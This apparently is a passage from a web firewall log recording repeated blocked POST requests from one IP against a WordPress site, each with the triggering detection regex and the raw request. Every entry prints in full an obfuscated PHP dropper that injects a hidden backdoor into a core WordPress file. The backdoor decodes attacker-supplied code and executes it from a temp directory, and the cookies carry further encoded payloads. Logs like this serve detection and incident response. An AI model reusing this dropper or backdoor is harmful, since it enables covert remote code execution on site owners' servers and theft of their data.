24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:4206\n\nrA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:44","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4206\ncontent-type:application\/x-www-form-urlencoded\nupgrade-insecure-requests:1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\n\ndM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:46","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> si:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4206\ncontent-type:application\/x-www-form-urlencoded\nupgrade-insecure-requests:1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\n\nsi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:47","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/search\/class-wp-rest-term-search-handler.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx74%255Cx6Fken%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524symbol%255B%2524f%255D%2529%2520%255E%252069%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524symbol%2529%2529%253B%2520%2524parameter_group%2520%253D%25200%253B%2520do%2520%257B%2520%2524marker%2520%253D%2520%2524flag%255B%2524parameter_group%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524parameter_group%2520%253E%253D%2520count%2528%2524flag%2529%2529%2520break%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524marker%2529%2520%257C%257C%2520%2521is_writable%2528%2524marker%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524marker%252C%2520%2522.key%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524parameter_group%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIaHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) 